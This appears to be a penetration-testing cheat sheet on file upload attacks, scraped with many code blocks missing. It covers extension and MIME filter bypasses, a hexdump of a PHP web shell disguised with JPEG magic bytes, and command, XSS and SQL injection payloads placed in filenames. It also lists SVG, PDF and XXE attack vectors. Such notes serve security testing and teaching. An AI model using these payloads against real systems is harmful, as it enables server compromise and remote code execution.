File Upload Attacks
Upload Scanner - Burp Extension
Absent Validation
Vulnerability identification
<?php echo "Hello HTB";?> to test.php
Read local files
Web Shells
Web ShellPHP disabled_functions

File Type Check - Client-Side Validation
Back-end Request Modification


Disabling Front-end Validation


Blacklist Filters
Blacklisting Extensions
Bypass File Extension Exclusion Lists
Variations of PHP file extensions
Variation of ASP.NET file extensions
Variations of Java file extensions
Various other file extension to test for
Fuzzing Extensions
PHP List
ASP extensions
Web extensions
More extensions
What extension is allowed ?
Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.
Click the "Positions" tab now, find the filename and "Add §" to the extension. It should look like so:

Use /usr/share/wordlists/dirb/extensions_common.txt
Uncheck url-encoding

Run the attack
Search for Non-Blacklisted Extensions - Look Content Length


Type of attack based on extension
ASP Applications:
.asa -> potential remote code execution
.asax -> potential remote code execution
.asp -> potential remote code execution .aspx -> potential remote code execution
Java Applications:
.jsp -> potential remote code execution
.jspx -> potential remote code execution
Perl Applications:
.pl -> potential remote code execution
Python Applications:
.py -> potential remote code execution
Ruby Applications:
.rb -> potential remote code execution
Other files that should be restricted for most applications:
.bat
.cgi .exe
.htm -> potential XSS
.html -> potential XSS
.jar
.rar
.shtml
.svg -> potential XSS
.swf -> potential XSS
.tar
.zip
.cer -> potential XSS
.hxt -> potential XSS
.stm -> potential XSS
Whitelist Filters
Double Extensions
Rename it

shell.jpg.php
shell.phar.jpeg
exploit%2Ephp
exploit.asp;.jpg or exploit.asp%00.jpg

Only consider the final file extension, as it uses (^.*\.) to match everything up to the last (.), and then uses ($) at the end to only match extensions that end the file name
Insecure configuration:
/etc/apache2/mods-enabled/php7.4.conf
shell.php.jpg should pass the earlier whitelist test as it ends with (.jpg), and it would be able to execute PHP code due to the above misconfiguration, as it contains (.php) in its name.

Bypass
1️⃣ Rename `shell.php` to `shell.jpg`.
2️⃣ Upload the file and intercept the request.
3️⃣ Modify the filename to `shell.jpg.php`.
4️⃣ Change the Content-Type to `application/x-httpd-php`.
5️⃣ Upload succeeds, and the file gets executed as PHP!
Capitalize the file extension
Obfuscationg file extension
Character Injection
We can inject several characters before or after the final extension to cause the web application to misinterpret the filename and execute the uploaded file as a PHP script.
The following are some of the characters we may try injecting:
%20%0a%00%0d0a/.\.…:
Null Byte
shell.php%00.jpg works with PHP servers with version 5.X or earlier
Windows server: injecting a colon (:) before the allowed file extension (e.g. shell.aspx:.jpg), which should also write the file as (shell.aspx)
exploit.asp;.jpg or exploit.asp%00.jpg
Then, fuzz extensions
wordlist.txt
Add .phar et .php8 to the list
New wordlist


Type Filters
Content-Type
Fuzz Content-Type header:
Only images are allowed - reduces the wordlist to 45 types only (compared to around 700 originally):
Intercept our upload request and change the Content-Type header to it:
Also try with:

MIME-Type
PHP - Example testing the MIME type of an uploaded file:

Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters:


GIF not allowed - Upload a jpeg/PNG file, change the content without removing file signature

Magic Bytes
See Magic Numbers
These are the magic bytes for a normal image (PNG) in HEX:
File Upload Validation Bypass
File Upload Path Traversal
Executable can be uploaded but restriction prevents execution. Try uploading to another folder


Other vectors of attacks
File Upload Bypass to CSPT
Bypass content length validation
Small payload
PDF Converter - Libre Office
Upload .odt file - Download generated pdf and analyse it with exiftool
Limited File Uploads
XSS
XSSTry to inject xss in file name. For example:
Comment
SVG
alert.svg
domain.svg
HTB.svg
Other payload

SVG - Keylogger
SVG - Open Redirect
SVG - XXE - X-Requested-With: XMLHttpRequest

poc.svg
Read source code in PHP web applications


XML data is not unique to SVG images, as it is also utilized by many types of documents, like PDF, Word Documents, PowerPoint Documents, among many others.
XXE vulnerability to enumerate the internally available services or even call private APIs to perform private actions
XXE / XSLTXML - XSS
HTML files
SSRF
PDFs, SVGs, or even Office documents. If the backend processes these files, SSRF might be hiding here
SSRFPDF Generators
DoS
Decompression BombPixel Flood
Other Upload Attacks
In images
Information Leakage / Metadata
Check for software version, GPS location, username, etc.
SVG File
Hosts that process SVG can potentially be vulnerable to SSRF, LFI, XSS, RCE because of the rich feature set of SVG
Metadata
Exiftool
Content-Type
Change content-type to text/html
Add the malicious javascript code at the bottom of the image content

ImageMagick ?
test.jpeg
Others
XXE in XMP metadata of JPEG file
Injections in File Name
Name a file file$(whoami).jpg or file`whoami`.jpg or file.jpg||whoami
XSS payload in the file name (e.g. <script>alert(window.origin);</script>), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. file';select+sleep(5);--.jpg), which may lead to an SQL injection if the file name is insecurely used in an SQL query.
.htaccess
Web shell via Path Traveral
Zip file
Example 1
Example 2

Zip Slip
DOCX/XLSX (Excel)/PPTX - Office Files - XXE
Payload
PDF Files
SSRF ?
Reveal Real IP adress - Bypass WAF etc.
Create a PDF file with Canary Token
Upload and visit the file. You will receive an email with the real IP. Try to access the server using the real IP. If it works, you can bypass WAF, CDN, etc.
XSS in PDF Files
PoC:
Also Check Payload Part
Tools
Using malicious pdf payloads, check if the backend made a request from inside. If so, test multiple SSRF paths:
SSRFPayload
XSS PDF: https://dr34m14.github.io/dr34m14/payloads/js_injected_xss.pdf
If you want to use bank_statement.pdf , link_URI.pdf or 'Blind xss PDF.pdf' from the Pdf-XSS repo, remember to change the url. See an example below
ImageMagick ?
pdf.js - CVE-2024-4367
File read
Malicious PDF File Used As Delivery Mechanism
php inside pdf
bad.pdf.php
Log4Shell
XXE in PDF
ImageMagick
Right to left override
Bind and Reverse ShellMagic Number
Add four "A" on the first line of shell.php.
hexeditor shell.php
Change the first 4 bytes "41 41 41 41" to "FF D8 FF DB" (jpeg magic number)
Result:
00000000 FF D8 FF DB 3C 3F 70 68 70 20 73 79 73 74 65 6D <?php system 00000010 28 24 5F 47 45 54 5B 63 6D 64 5D 29 3B 20 3F 3E ET[cmd]); ?> 00000020 0A
Save. Verification: file shell.php : shell.php: JPEG image data
Magic numbers list:
Uploading files using PUT
HTTP Verb TamperingIf appropriate defenses aren't in place, this can provide an alternative means of uploading malicious files, even when an upload function isn't available via the web interface.
Eicar files - AV Testing
Payloads
Tools
Resources
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Last updated


